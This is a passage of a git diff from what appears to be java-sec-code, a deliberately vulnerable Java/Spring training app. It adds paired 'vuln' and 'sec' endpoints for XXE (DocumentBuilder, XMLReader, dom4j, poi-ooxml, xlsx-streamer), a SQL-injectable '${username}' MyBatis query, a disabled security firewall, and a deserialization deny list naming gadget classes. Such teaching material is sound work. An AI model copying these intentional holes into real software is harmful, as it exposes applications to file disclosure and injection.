         } catch (Exception e) {
-            System.out.println(e);
-            return "except";
+            logger.error(e.toString());
+            return EXCEPT;
         }
     }
 
 
-    // 有回显的XXE
-    @RequestMapping(value = "/DocumentBuilder_return", method = RequestMethod.POST)
-    @ResponseBody
-    public String xxeDocumentBuilderReturn(HttpServletRequest request) {
+    /**
+     * Use request.getInputStream to support UTF16 encoding.
+     */
+    @RequestMapping(value = "/DocumentBuilder/vuln", method = RequestMethod.POST)
+    public String DocumentBuilderVuln(HttpServletRequest request) {
         try {
-            String xml_con = getBody(request);
-            System.out.println(xml_con);
-
             DocumentBuilderFactory dbf = DocumentBuilderFactory.newInstance();
             DocumentBuilder db = dbf.newDocumentBuilder();
-            StringReader sr = new StringReader(xml_con);
-            InputSource is = new InputSource(sr);
+            InputSource is = new InputSource(request.getInputStream());
             Document document = db.parse(is);  // parse xml
 
             // 遍历xml节点name和value
-            StringBuffer buf = new StringBuffer();
+            StringBuilder buf = new StringBuilder();
             NodeList rootNodeList = document.getChildNodes();
             for (int i = 0; i < rootNodeList.getLength(); i++) {
                 Node rootNode = rootNodeList.item(i);
                 NodeList child = rootNode.getChildNodes();
                 for (int j = 0; j < child.getLength(); j++) {
                     Node node = child.item(j);
-                    buf.append( node.getNodeName() + ": " + node.getTextContent() + "\n" );
+                    buf.append(String.format("%s: %s\n", node.getNodeName(), node.getTextContent()));
                 }
             }
-            sr.close();
-            System.out.println(buf.toString());
             return buf.toString();
         } catch (Exception e) {
-            System.out.println(e);
-            return "except";
-        }
-    }
-
-
-    @RequestMapping(value = "/DocumentBuilder", method = RequestMethod.POST)
-    @ResponseBody
-    public String DocumentBuilder(HttpServletRequest request) {
-        try {
-            String xml_con = getBody(request);
-            System.out.println(xml_con);
-
-            DocumentBuilderFactory dbf = DocumentBuilderFactory.newInstance();
-            DocumentBuilder db = dbf.newDocumentBuilder();
-            StringReader sr = new StringReader(xml_con);
-            InputSource is = new InputSource(sr);
-            Document document = db.parse(is);  // parse xml
-
-            // 遍历xml节点name和value
-            StringBuffer result = new StringBuffer();
-            NodeList rootNodeList = document.getChildNodes();
-            for (int i = 0; i < rootNodeList.getLength(); i++) {
-                Node rootNode = rootNodeList.item(i);
-                NodeList child = rootNode.getChildNodes();
-                for (int j = 0; j < child.getLength(); j++) {
-                    Node node = child.item(j);
-                    // 正常解析XML,需要判断是否是ELEMENT_NODE类型。否则会出现多余的的节点。
-                    if(child.item(j).getNodeType() == Node.ELEMENT_NODE) {
-                        result.append( node.getNodeName() + ": " + node.getFirstChild().getNodeValue() + "\n" );
-                    }
-                }
-            }
-            sr.close();
-            System.out.println(result.toString());
-            return result.toString();
-        } catch (Exception e) {
-            System.out.println(e);
-            return "except";
+            e.printStackTrace();
+            logger.error(e.toString());
+            return e.toString();
         }
     }
 
-
-    @RequestMapping(value = "/DocumentBuilder_fix", method = RequestMethod.POST)
-    @ResponseBody
-    public String xxe_DocumentBuilder_fix(HttpServletRequest request) {
+    @RequestMapping(value = "/DocumentBuilder/Sec", method = RequestMethod.POST)
+    public String DocumentBuilderSec(HttpServletRequest request) {
         try {
-            String xml_con = getBody(request);
-            System.out.println(xml_con);
+            String body = WebUtils.getRequestBody(request);
+            logger.info(body);
 
             DocumentBuilderFactory dbf = DocumentBuilderFactory.newInstance();
             dbf.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true);
             dbf.setFeature("http://xml.org/sax/features/external-general-entities", false);
             dbf.setFeature("http://xml.org/sax/features/external-parameter-entities", false);
             DocumentBuilder db = dbf.newDocumentBuilder();
-            StringReader sr = new StringReader(xml_con);
+            StringReader sr = new StringReader(body);
             InputSource is = new InputSource(sr);
-            Document document = db.parse(is);  // parse xml
+            db.parse(is);  // parse xml
             sr.close();
-
-            return "test";
         } catch (Exception e) {
-            System.out.println(e);
-            return "except";
+            logger.error(e.toString());
+            return EXCEPT;
         }
+        return "DocumentBuilder xxe security code";
     }
 
 
-    @RequestMapping(value = "/DocumentBuilder_xinclude", method = RequestMethod.POST)
-    @ResponseBody
-    public String xxe_xinclude_DocumentBuilder(HttpServletRequest request) {
+    @RequestMapping(value = "/DocumentBuilder/xinclude/vuln", method = RequestMethod.POST)
+    public String DocumentBuilderXincludeVuln(HttpServletRequest request) {
         try {
-            String xml_con = getBody(request);
-            System.out.println(xml_con);
+            String body = WebUtils.getRequestBody(request);
+            logger.info(body);
 
             DocumentBuilderFactory dbf = DocumentBuilderFactory.newInstance();
             dbf.setXIncludeAware(true);   // 支持XInclude
             dbf.setNamespaceAware(true);  // 支持XInclude
             DocumentBuilder db = dbf.newDocumentBuilder();
-            StringReader sr = new StringReader(xml_con);
+            StringReader sr = new StringReader(body);
             InputSource is = new InputSource(sr);
             Document document = db.parse(is);  // parse xml
 
             NodeList rootNodeList = document.getChildNodes();
-
-            for (int i = 0; i < rootNodeList.getLength(); i++) {
-                Node rootNode = rootNodeList.item(i);
-                NodeList xxe = rootNode.getChildNodes();
-                for (int j = 0; j < xxe.getLength(); j++) {
-                    Node xxeNode = xxe.item(j);
-                    // 测试不能blind xxe,所以强行加了一个回显
-                    System.out.println("xxeNode: " + xxeNode.getNodeValue());
-                }
-
-            }
+            response(rootNodeList);
 
             sr.close();
-            return "test";
+            return "DocumentBuilder xinclude xxe vuln code";
         } catch (Exception e) {
-            System.out.println(e);
-            return "except";
+            logger.error(e.toString());
+            return EXCEPT;
         }
     }
 
 
-    @RequestMapping(value = "/DocumentBuilder_xinclude_fix", method = RequestMethod.POST)
-    @ResponseBody
-    public String xxe_xinclude_DocumentBuilder_fix(HttpServletRequest request) {
+    @RequestMapping(value = "/DocumentBuilder/xinclude/sec", method = RequestMethod.POST)
+    public String DocumentBuilderXincludeSec(HttpServletRequest request) {
         try {
-            String xml_con = getBody(request);
-            System.out.println(xml_con);
+            String body = WebUtils.getRequestBody(request);
+            logger.info(body);
             DocumentBuilderFactory dbf = DocumentBuilderFactory.newInstance();
 
             dbf.setXIncludeAware(true);   // 支持XInclude
@@ -368,48 +321,123 @@ public String xxe_xinclude_DocumentBuilder_fix(HttpServletRequest request) {
             dbf.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true);
             dbf.setFeature("http://xml.org/sax/features/external-general-entities", false);
             dbf.setFeature("http://xml.org/sax/features/external-parameter-entities", false);
+
             DocumentBuilder db = dbf.newDocumentBuilder();
-            StringReader sr = new StringReader(xml_con);
+            StringReader sr = new StringReader(body);
             InputSource is = new InputSource(sr);
             Document document = db.parse(is);  // parse xml
 
             NodeList rootNodeList = document.getChildNodes();
+            response(rootNodeList);
 
-            for (int i = 0; i < rootNodeList.getLength(); i++) {
-                Node rootNode = rootNodeList.item(i);
-                NodeList xxe = rootNode.getChildNodes();
-                for (int j = 0; j < xxe.getLength(); j++) {
-                    Node xxeNode = xxe.item(j);
-                    // 测试不能blind xxe,所以强行加了一个回显
-                    System.out.println("xxeNode: " + xxeNode.getNodeValue());
-                }
+            sr.close();
+        } catch (Exception e) {
+            logger.error(e.toString());
+            return EXCEPT;
+        }
+        return "DocumentBuilder xinclude xxe vuln code";
+    }
 
-            }
 
-            sr.close();
-            return "test";
+    @PostMapping("/XMLReader/vuln")
+    public String XMLReaderVuln(HttpServletRequest request) {
+        try {
+            String body = WebUtils.getRequestBody(request);
+            logger.info(body);
+
+            SAXParserFactory spf = SAXParserFactory.newInstance();
+            SAXParser saxParser = spf.newSAXParser();
+            XMLReader xmlReader = saxParser.getXMLReader();
+            xmlReader.parse(new InputSource(new StringReader(body)));
+
         } catch (Exception e) {
-            System.out.println(e);
-            return "except";
+            logger.error(e.toString());
+            return EXCEPT;
         }
+
+        return "XMLReader xxe vuln code";
     }
 
-    // 获取body数据
-    private String getBody(HttpServletRequest request) throws IOException {
-        InputStream in = request.getInputStream();
-        BufferedReader br = new BufferedReader(new InputStreamReader(in));
-        StringBuffer sb = new StringBuffer("");
-        String temp;
-        while ((temp = br.readLine()) != null) {
-            sb.append(temp);
+
+    @PostMapping("/XMLReader/sec")
+    public String XMLReaderSec(HttpServletRequest request) {
+        try {
+            String body = WebUtils.getRequestBody(request);
+            logger.info(body);
+
+            SAXParserFactory spf = SAXParserFactory.newInstance();
+            SAXParser saxParser = spf.newSAXParser();
+            XMLReader xmlReader = saxParser.getXMLReader();
+            xmlReader.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true);
+            xmlReader.setFeature("http://xml.org/sax/features/external-general-entities", false);
+            xmlReader.setFeature("http://xml.org/sax/features/external-parameter-entities", false);
+            xmlReader.parse(new InputSource(new StringReader(body)));
+
+        } catch (Exception e) {
+            logger.error(e.toString());
+            return EXCEPT;
+        }
+        return "XMLReader xxe security code";
+    }
+
+
+    /**
+     * 修复该漏洞只需升级dom4j到2.1.1及以上,该版本及以上禁用了ENTITY;
+     * 不带ENTITY的PoC不能利用,所以禁用ENTITY即可完成修复。
+     */
+    @PostMapping("/DocumentHelper/vuln")
+    public String DocumentHelper(HttpServletRequest req) {
+        try {
+            String body = WebUtils.getRequestBody(req);
+            DocumentHelper.parseText(body); // parse xml
+        } catch (Exception e) {
+            logger.error(e.toString());
+            return EXCEPT;
+        }
+
+        return "DocumentHelper xxe vuln code";
+    }
+
+
+    private static void response(NodeList rootNodeList){
+        for (int i = 0; i < rootNodeList.getLength(); i++) {
+            Node rootNode = rootNodeList.item(i);
+            NodeList xxe = rootNode.getChildNodes();
+            for (int j = 0; j < xxe.getLength(); j++) {
+                Node xxeNode = xxe.item(j);
+                // 测试不能blind xxe,所以强行加了一个回显
+                logger.info("xxeNode: " + xxeNode.getNodeValue());
+            }
+
         }
-        if (in != null) {
-            in.close();
+    }
+
+        /**
+         * Receiving POST requests supporting both JSON and XML.
+         * CVE-2018-1259
+         */
+        @PostMapping(value = "/xmlbeam/vuln")
+        HttpEntity<String> post(@RequestBody UserPayload user) {
+            try {
+                logger.info(user.toString());
+                return ResponseEntity.ok(String.format("hello, %s!", user.getUserName()));
+            }catch (Exception e){
+                e.printStackTrace();
+                return ResponseEntity.ok("error");
+            }
         }
-        if (br != null) {
-            br.close();
+
+        /**
+         * The projection interface using XPath and JSON Path expression to selectively pick elements from the payload.
+         */
+        @ProjectedPayload
+        public interface UserPayload {
+            @XBRead("//userName")
+            String getUserName();
         }
-        return sb.toString();
+
+    public static void main(String[] args) {
+
     }
 
-}
+}
\ No newline at end of file
diff --git a/src/main/java/org/joychou/controller/othervulns/ooxmlXXE.java b/src/main/java/org/joychou/controller/othervulns/ooxmlXXE.java
new file mode 100644
index 00000000..3000d558
--- /dev/null
+++ b/src/main/java/org/joychou/controller/othervulns/ooxmlXXE.java
@@ -0,0 +1,75 @@
+package org.joychou.controller.othervulns;
+
+import org.apache.poi.xssf.usermodel.XSSFCell;
+import org.apache.poi.xssf.usermodel.XSSFRow;
+import org.apache.poi.xssf.usermodel.XSSFSheet;
+import org.apache.poi.xssf.usermodel.XSSFWorkbook;
+import org.slf4j.Logger;
+import org.slf4j.LoggerFactory;
+import org.springframework.stereotype.Controller;
+import org.springframework.web.bind.annotation.GetMapping;
+import org.springframework.web.bind.annotation.PostMapping;
+import org.springframework.web.bind.annotation.RequestMapping;
+import org.springframework.web.bind.annotation.ResponseBody;
+import org.springframework.web.multipart.MultipartFile;
+
+import java.io.IOException;
+import java.util.Iterator;
+
+
+/**
+ * Desc:   poi-ooxml xxe vuln code
+ * Usage:  [Content_Type].xml  http://localhost:8080/ooxml/upload
+ * Ref:    https://www.itread01.com/hkpcyyp.html
+ * Fix:    Update poi-ooxml to 3.15 or above.
+ * Vuln:   3.10 or below exist xxe vuln. 3.14 or below exist dos vuln. So 3.15 or above is safe version.
+ *
+ * @author JoyChou @2019-09-05
+ */
+@Controller
+@RequestMapping("ooxml")
+public class ooxmlXXE {
+
+
+    private final Logger logger = LoggerFactory.getLogger(this.getClass());
+
+
+    @GetMapping("/upload")
+    public String index() {
+        return "xxe_upload"; // return xxe_upload.html page
+    }
+
+
+    @PostMapping("/readxlsx")
+    @ResponseBody
+    public String ooxml_xxe(MultipartFile file) throws IOException {
+        XSSFWorkbook wb = new XSSFWorkbook(file.getInputStream()); // xxe vuln
+
+        XSSFSheet sheet = wb.getSheetAt(0);
+        XSSFRow row;
+        XSSFCell cell;
+
+        Iterator rows = sheet.rowIterator();
+        StringBuilder sbResult = new StringBuilder();
+
+        while (rows.hasNext()) {
+
+            row = (XSSFRow) rows.next();
+            Iterator cells = row.cellIterator();
+
+            while (cells.hasNext()) {
+                cell = (XSSFCell) cells.next();
+
+                if (cell.getCellType() == XSSFCell.CELL_TYPE_STRING) {
+                    sbResult.append(cell.getStringCellValue()).append(" ");
+                } else if (cell.getCellType() == XSSFCell.CELL_TYPE_NUMERIC) {
+                    sbResult.append(cell.getNumericCellValue()).append(" ");
+                } else {
+                    logger.info("errors");
+                }
+            }
+        }
+
+        return sbResult.toString();
+    }
+}
diff --git a/src/main/java/org/joychou/controller/othervulns/xlsxStreamerXXE.java b/src/main/java/org/joychou/controller/othervulns/xlsxStreamerXXE.java
new file mode 100644
index 00000000..d3107c3e
--- /dev/null
+++ b/src/main/java/org/joychou/controller/othervulns/xlsxStreamerXXE.java
@@ -0,0 +1,43 @@
+package org.joychou.controller.othervulns;
+
+import com.monitorjbl.xlsx.StreamingReader;
+
+import org.springframework.stereotype.Controller;
+import org.springframework.web.bind.annotation.GetMapping;
+import org.springframework.web.bind.annotation.PostMapping;
+import org.springframework.web.bind.annotation.RequestMapping;
+import org.springframework.web.multipart.MultipartFile;
+
+import java.io.FileInputStream;
+import java.io.IOException;
+
+
+/**
+ * Desc:  xlsx-streamer xxe vuln code
+ * Usage: xl/workbook.xml
+ * Ref:   https://www.itread01.com/hkpcyyp.html
+ * Fix:   update xlsx-streamer to 2.1.0 or above
+ *
+ * @author JoyChou @2019-09-05
+ */
+@Controller
+@RequestMapping("xlsx-streamer")
+public class xlsxStreamerXXE {
+
+
+    @GetMapping("/upload")
+    public String index() {
+        return "xxe_upload"; // return xxe_upload.html page
+    }
+
+
+    @PostMapping("/readxlsx")
+    public void xllx_streamer_xxe(MultipartFile file) throws IOException {
+        StreamingReader.builder().open(file.getInputStream());
+    }
+
+
+    public static void main(String[] args) throws Exception {
+        StreamingReader.builder().open((new FileInputStream("poc.xlsx")));
+    }
+}
diff --git a/src/main/java/org/joychou/dao/User.java b/src/main/java/org/joychou/dao/User.java
new file mode 100644
index 00000000..0b8eb3b0
--- /dev/null
+++ b/src/main/java/org/joychou/dao/User.java
@@ -0,0 +1,11 @@
+package org.joychou.dao;
+
+import lombok.Data;
+
+
+@Data
+public class User {
+    private Integer id;
+    private String username;
+    private String password;
+}
diff --git a/src/main/java/org/joychou/filter/BaseCorsFilter.java b/src/main/java/org/joychou/filter/BaseCorsFilter.java
new file mode 100644
index 00000000..9987464f
--- /dev/null
+++ b/src/main/java/org/joychou/filter/BaseCorsFilter.java
@@ -0,0 +1,35 @@
+package org.joychou.filter;
+
+import org.springframework.core.Ordered;
+import org.springframework.core.annotation.Order;
+import org.springframework.stereotype.Component;
+import org.springframework.web.cors.CorsConfiguration;
+import org.springframework.web.cors.UrlBasedCorsConfigurationSource;
+import org.springframework.web.filter.CorsFilter;
+
+/**
+ * 由于CorsFilter和spring security冲突,所以改为下面的代码。
+ */
+@Component
+@Order(Ordered.HIGHEST_PRECEDENCE)
+public class BaseCorsFilter extends CorsFilter {
+
+    public BaseCorsFilter() {
+        super(configurationSource());
+    }
+
+    private static UrlBasedCorsConfigurationSource configurationSource() {
+        CorsConfiguration config = new CorsConfiguration();
+        config.setAllowCredentials(true);
+        config.addAllowedOrigin("joychou.org"); // 不支持
+        config.addAllowedOrigin("http://test.joychou.me");
+        config.addAllowedHeader("*");
+        config.addAllowedMethod("GET");
+        config.addAllowedMethod("POST");
+
+        UrlBasedCorsConfigurationSource source = new UrlBasedCorsConfigurationSource();
+        source.registerCorsConfiguration("/cors/sec/corsFilter", config);
+
+        return source;
+    }
+}
\ No newline at end of file
diff --git a/src/main/java/org/joychou/filter/OriginFilter.java b/src/main/java/org/joychou/filter/OriginFilter.java
new file mode 100644
index 00000000..271a4562
--- /dev/null
+++ b/src/main/java/org/joychou/filter/OriginFilter.java
@@ -0,0 +1,59 @@
+package org.joychou.filter;
+
+
+import javax.servlet.*;
+import javax.servlet.annotation.WebFilter;
+import javax.servlet.http.HttpServletRequest;
+import javax.servlet.http.HttpServletResponse;
+import java.io.IOException;
+import org.joychou.security.SecurityUtil;
+import org.slf4j.Logger;
+import org.slf4j.LoggerFactory;
+
+
+/**
+ * 推荐使用该全局方案修复Cors跨域漏洞,因为可以校验一级域名。
+ *
+ * @author JoyChou @ 2019.12.19
+ */
+@WebFilter(filterName = "OriginFilter", urlPatterns = "/cors/sec/originFilter")
+public class OriginFilter implements Filter {
+
+    @Override
+    public void init(FilterConfig filterConfig) throws ServletException {
+
+    }
+
+    private final Logger logger = LoggerFactory.getLogger(this.getClass());
+
+    @Override
+    public void doFilter(ServletRequest req, ServletResponse res, FilterChain filterChain)
+            throws IOException, ServletException {
+
+        HttpServletRequest request = (HttpServletRequest) req;
+        HttpServletResponse response = (HttpServletResponse) res;
+
+        String origin = request.getHeader("Origin");
+        logger.info("[+] Origin: " + origin + "\tCurrent url:" + request.getRequestURL());
+
+        // 以file协议访问html,origin为字符串的null,所以依然会走安全check逻辑
+        if (origin != null && SecurityUtil.checkURL(origin) == null) {
+            logger.error("[-] Origin check error. " + "Origin: " + origin +
+                    "\tCurrent url:" + request.getRequestURL());
+            response.setStatus(response.SC_FORBIDDEN);
+            response.getWriter().println("Invaid cors config by joychou.");
+            return;
+        }
+
+        response.setHeader("Access-Control-Allow-Origin", origin);
+        response.setHeader("Access-Control-Allow-Credentials", "true");
+        response.setHeader("Access-Control-Allow-Methods", "GET, POST, OPTION");
+
+        filterChain.doFilter(req, res);
+    }
+
+    @Override
+    public void destroy() {
+
+    }
+}
diff --git a/src/main/java/org/joychou/filter/ReferFilter.java b/src/main/java/org/joychou/filter/ReferFilter.java
new file mode 100644
index 00000000..30a914f3
--- /dev/null
+++ b/src/main/java/org/joychou/filter/ReferFilter.java
@@ -0,0 +1,85 @@
+package org.joychou.filter;
+
+import javax.servlet.*;
+import javax.servlet.annotation.WebFilter;
+import javax.servlet.http.HttpServletRequest;
+import javax.servlet.http.HttpServletResponse;
+import java.io.IOException;
+
+import org.apache.commons.lang.StringUtils;
+import org.joychou.config.WebConfig;
+import org.joychou.security.SecurityUtil;
+import org.slf4j.Logger;
+import org.slf4j.LoggerFactory;
+import org.springframework.util.AntPathMatcher;
+import org.springframework.util.PathMatcher;
+
+
+/**
+ * Check referer for all GET requests with callback parameters.
+ * If the check of referer fails, a 403 forbidden error page will be returned.
+ * <p>
+ * Still need to add @ServletComponentScan annotation in Application.java.
+ */
+@WebFilter(filterName = "referFilter", urlPatterns = "/*")
+public class ReferFilter implements Filter {
+
+    @Override
+    public void init(FilterConfig filterConfig) throws ServletException {
+
+    }
+
+    private final Logger logger = LoggerFactory.getLogger(this.getClass());
+
+    @Override
+    public void doFilter(ServletRequest req, ServletResponse res, FilterChain filterChain)
+            throws IOException, ServletException {
+
+        HttpServletRequest request = (HttpServletRequest) req;
+        HttpServletResponse response = (HttpServletResponse) res;
+        String refer = request.getHeader("referer");
+        PathMatcher matcher = new AntPathMatcher();
+        boolean isMatch = false;
+
+        // 获取要校验Referer的Uri
+        for (String uri : WebConfig.getReferUris()) {
+            if (matcher.match(uri, request.getRequestURI())) {
+                isMatch = true;
+                break;
+            }
+        }
+
+        if (!isMatch) {
+            filterChain.doFilter(req, res);
+            return;
+        }
+
+        if (!WebConfig.getReferSecEnabled()) {
+            filterChain.doFilter(req, res);
+            return;
+        }
+
+        // Check referer for all GET requests with callback parameters.
+
+        String reqCallback = request.getParameter(WebConfig.getBusinessCallback());
+        if ("GET".equals(request.getMethod()) && StringUtils.isNotBlank(reqCallback)) {
+            // If the check of referer fails, a 403 forbidden error page will be returned.
+            if (SecurityUtil.checkURL(refer) == null) {
+                logger.info("[-] URL: " + request.getRequestURL() + "?" + request.getQueryString() + "\t"
+                        + "Referer: " + refer);
+                response.setStatus(HttpServletResponse.SC_FORBIDDEN);
+                response.getWriter().write(" Referer check error.");
+                response.flushBuffer();
+                return;
+            }
+        }
+
+
+        filterChain.doFilter(req, res);
+    }
+
+    @Override
+    public void destroy() {
+
+    }
+}
\ No newline at end of file
diff --git a/src/main/java/org/joychou/impl/HttpServiceImpl.java b/src/main/java/org/joychou/impl/HttpServiceImpl.java
new file mode 100644
index 00000000..d3bbf3a1
--- /dev/null
+++ b/src/main/java/org/joychou/impl/HttpServiceImpl.java
@@ -0,0 +1,44 @@
+package org.joychou.impl;
+
+
+import org.joychou.service.HttpService;
+import org.springframework.http.HttpEntity;
+import org.springframework.http.HttpHeaders;
+import org.springframework.http.ResponseEntity;
+import org.springframework.stereotype.Service;
+import org.springframework.web.client.RestTemplate;
+import org.springframework.http.HttpMethod;
+
+import javax.annotation.Resource;
+
+@Service
+public class HttpServiceImpl implements HttpService {
+
+    @Resource
+    private RestTemplate restTemplate;
+
+    @Resource
+    private RestTemplate restTemplateBanRedirects;
+
+    /**
+     * Http request by RestTemplate. Only support HTTP protocol. <p>
+     * Redirects: GET HttpMethod follow redirects by default, other HttpMethods do not follow redirects.<p>
+     * User-Agent: Java/1.8.0_102 <p>
+     */
+    public String RequestHttp(String url, HttpHeaders headers) {
+        HttpEntity<String> entity = new HttpEntity<>(headers);
+        ResponseEntity<String> re = restTemplate.exchange(url, HttpMethod.GET, entity, String.class);
+        return re.getBody();
+    }
+
+    /**
+     * Http request by RestTemplate. Only support HTTP protocol. <p>
+     * Redirects: Disable followRedirects.<p>
+     * User-Agent: Java/1.8.0_102 <p>
+     */
+    public String RequestHttpBanRedirects(String url, HttpHeaders headers) {
+        HttpEntity<String> entity = new HttpEntity<>(headers);
+        ResponseEntity<String> re = restTemplateBanRedirects.exchange(url, HttpMethod.GET, entity, String.class);
+        return re.getBody();
+    }
+}
diff --git a/src/main/java/org/joychou/mapper/UserMapper.java b/src/main/java/org/joychou/mapper/UserMapper.java
new file mode 100644
index 00000000..b88fb561
--- /dev/null
+++ b/src/main/java/org/joychou/mapper/UserMapper.java
@@ -0,0 +1,30 @@
+package org.joychou.mapper;
+
+import org.apache.ibatis.annotations.Mapper;
+import org.apache.ibatis.annotations.Param;
+import org.apache.ibatis.annotations.Select;
+import org.joychou.dao.User;
+
+import java.util.List;
+
+@Mapper
+public interface UserMapper {
+
+    /**
+     * If using simple sql, we can use annotation. Such as @Select @Update.
+     * If using ${username}, application will send a error.
+     */
+    @Select("select * from users where username = #{username}")
+    User findByUserName(@Param("username") String username);
+
+    @Select("select * from users where username = '${username}'")
+    List<User> findByUserNameVuln01(@Param("username") String username);
+
+    List<User> findByUserNameVuln02(String username);
+    List<User> findByUserNameVuln03(@Param("order") String order);
+
+    User findById(Integer id);
+
+    User OrderByUsername();
+
+}
diff --git a/src/main/java/org/joychou/security/AntObjectInputStream.java b/src/main/java/org/joychou/security/AntObjectInputStream.java
new file mode 100644
index 00000000..ef332360
--- /dev/null
+++ b/src/main/java/org/joychou/security/AntObjectInputStream.java
@@ -0,0 +1,80 @@
+package org.joychou.security;
+
+import org.slf4j.Logger;
+import org.slf4j.LoggerFactory;
+
+import java.io.*;
+
+/**
+ * RASP:Hook java/io/ObjectInputStream类的resolveClass方法
+ * RASP: https://github.com/baidu/openrasp/blob/master/agent/java/engine/src/main/java/com/baidu/openrasp/hook/DeserializationHook.java
+ *
+ * Run main method to test.
+ */
+public class AntObjectInputStream extends ObjectInputStream {
+
+    protected final Logger logger= LoggerFactory.getLogger(AntObjectInputStream.class);
+
+    public AntObjectInputStream(InputStream inputStream) throws IOException {
+        super(inputStream);
+    }
+
+    /**
+     * 只允许反序列化SerialObject class
+     *
+     * 在应用上使用黑白名单校验方案比较局限,因为只有使用自己定义的AntObjectInputStream类,进行反序列化才能进行校验。
+     * 类似fastjson通用类的反序列化就不能校验。
+     * 但是RASP是通过HOOK java/io/ObjectInputStream类的resolveClass方法,全局的检测白名单。
+     *
+     */
+    @Override
+    protected Class<?> resolveClass(final ObjectStreamClass desc)
+            throws IOException, ClassNotFoundException
+    {
+        String className = desc.getName();
+
+        // Deserialize class name: org.joychou.security.AntObjectInputStream$MyObject
+        logger.info("Deserialize class name: " + className);
+
+        String[] denyClasses = {"java.net.InetAddress",
+                                "org.apache.commons.collections.Transformer",
+                                "org.apache.commons.collections.functors"};
+
+        for (String denyClass : denyClasses) {
+            if (className.startsWith(denyClass)) {
+                throw new InvalidClassException("Unauthorized deserialization attempt", className);
+            }
+        }
+
+        return super.resolveClass(desc);
+    }
+
+    public static void main(String args[]) throws Exception{
+        // 定义myObj对象
+        MyObject myObj = new MyObject();
+        myObj.name = "world";
+
+        // 创建一个包含对象进行反序列化信息的/tmp/object数据文件
+        FileOutputStream fos = new FileOutputStream("/tmp/object");
+        ObjectOutputStream os = new ObjectOutputStream(fos);
+
+        // writeObject()方法将myObj对象写入/tmp/object文件
+        os.writeObject(myObj);
+        os.close();
+
+        // 从文件中反序列化obj对象
+        FileInputStream fis = new FileInputStream("/tmp/object");
+        AntObjectInputStream ois = new AntObjectInputStream(fis);  // AntObjectInputStream class
+
+        //恢复对象即反序列化
+        MyObject objectFromDisk = (MyObject)ois.readObject();
+        System.out.println(objectFromDisk.name);
+        ois.close();
+    }
+
+    static class  MyObject implements Serializable {
+        public String name;
+    }
+}
+
+
diff --git a/src/main/java/org/joychou/security/CsrfAccessDeniedHandler.java b/src/main/java/org/joychou/security/CsrfAccessDeniedHandler.java
new file mode 100644
index 00000000..4f8ad327
--- /dev/null
+++ b/src/main/java/org/joychou/security/CsrfAccessDeniedHandler.java
@@ -0,0 +1,36 @@
+package org.joychou.security;
+
+
+import org.slf4j.Logger;
+import org.slf4j.LoggerFactory;
+import org.springframework.http.MediaType;
+import org.springframework.security.access.AccessDeniedException;
+import org.springframework.security.web.access.AccessDeniedHandler;
+
+import javax.servlet.http.HttpServletRequest;
+import javax.servlet.http.HttpServletResponse;
+import java.io.IOException;
+
+/**
+ * Csrf access denied page.
+ *
+ * @author JoyChou
+ */
+public class CsrfAccessDeniedHandler implements AccessDeniedHandler {
+
+    protected final Logger logger= LoggerFactory.getLogger(this.getClass());
+
+    @Override
+    public void handle(HttpServletRequest request, HttpServletResponse response,
+                       AccessDeniedException accessDeniedException) throws IOException {
+
+        logger.info("[-] URL: " + request.getRequestURL() + "?" + request.getQueryString() + "\t" +
+                "Referer: " + request.getHeader("referer"));
+
+        response.setContentType(MediaType.TEXT_HTML_VALUE); // content-type: text/html
+        response.setStatus(HttpServletResponse.SC_FORBIDDEN); // 403 forbidden
+        response.getWriter().write("403 forbidden by JoyChou.");  // response contents
+    }
+
+}
+
diff --git a/src/main/java/org/joychou/security/CustomCorsProcessor.java b/src/main/java/org/joychou/security/CustomCorsProcessor.java
new file mode 100644
index 00000000..6d67825f
--- /dev/null
+++ b/src/main/java/org/joychou/security/CustomCorsProcessor.java
@@ -0,0 +1,52 @@
+package org.joychou.security;
+
+import org.apache.commons.lang.StringUtils;
+import org.slf4j.Logger;
+import org.slf4j.LoggerFactory;
+import org.springframework.web.cors.CorsConfiguration;
+import org.springframework.web.cors.DefaultCorsProcessor;
+
+public class CustomCorsProcessor extends DefaultCorsProcessor {
+
+    private static final Logger logger = LoggerFactory.getLogger(CustomCorsProcessor.class);
+
+
+    /**
+     * 跨域请求,会通过此方法检测请求源是否被允许
+     *
+     * @param config        CORS 配置
+     * @param requestOrigin 请求源
+     * @return 如果请求源被允许,返回请求源;否则返回 null
+     */
+    @Override
+    protected String checkOrigin(CorsConfiguration config, String requestOrigin) {
+
+        // 支持checkOrigin原装的域名配置
+        String result = super.checkOrigin(config, requestOrigin);
+        if (result != null) {
+            return result;
+        }
+
+        if (StringUtils.isBlank(requestOrigin)) {
+            return null;
+        }
+
+        return customCheckOrigin(requestOrigin);
+    }
+
+
+    /**
+     * 自定义校验requestOrigin
+     */
+    private String customCheckOrigin(String requestOrigin) {
+
+        if ( SecurityUtil.checkURL(requestOrigin) != null) {
+            logger.info("[+] Origin: "  + requestOrigin );
+            return requestOrigin;
+        }
+        logger.error("[-] Origin: " + requestOrigin );
+        return null;
+    }
+
+
+}
\ No newline at end of file
diff --git a/src/main/java/org/joychou/security/DisableSpringSecurityFirewall.java b/src/main/java/org/joychou/security/DisableSpringSecurityFirewall.java
new file mode 100644
index 00000000..d7f12627
--- /dev/null
+++ b/src/main/java/org/joychou/security/DisableSpringSecurityFirewall.java
@@ -0,0 +1,27 @@
+package org.joychou.security;
+
+import org.springframework.security.web.firewall.FirewalledRequest;
+import org.springframework.security.web.firewall.HttpFirewall;
+import org.springframework.security.web.firewall.RequestRejectedException;
+import org.springframework.stereotype.Component;
+
+import javax.servlet.http.HttpServletRequest;
+import javax.servlet.http.HttpServletResponse;
+
+@Component
+public class DisableSpringSecurityFirewall implements HttpFirewall {
+
+    @Override
+    public FirewalledRequest getFirewalledRequest(HttpServletRequest request) throws RequestRejectedException {
+        return new FirewalledRequest(request) {
+            @Override
+            public void reset() {
+            }
+        };
+    }
+
+    @Override
+    public HttpServletResponse getFirewalledResponse(HttpServletResponse response) {
+        return response;
+    }
+}
diff --git a/src/main/java/org/joychou/security/LoginFailureHandler.java b/src/main/java/org/joychou/security/LoginFailureHandler.java
new file mode 100644
index 00000000..eb41014e
--- /dev/null
+++ b/src/main/java/org/joychou/security/LoginFailureHandler.java
@@ -0,0 +1,32 @@
+package org.joychou.security;
+
+import org.slf4j.Logger;
+import org.slf4j.LoggerFactory;
+import org.springframework.http.MediaType;
+import org.springframework.security.core.AuthenticationException;
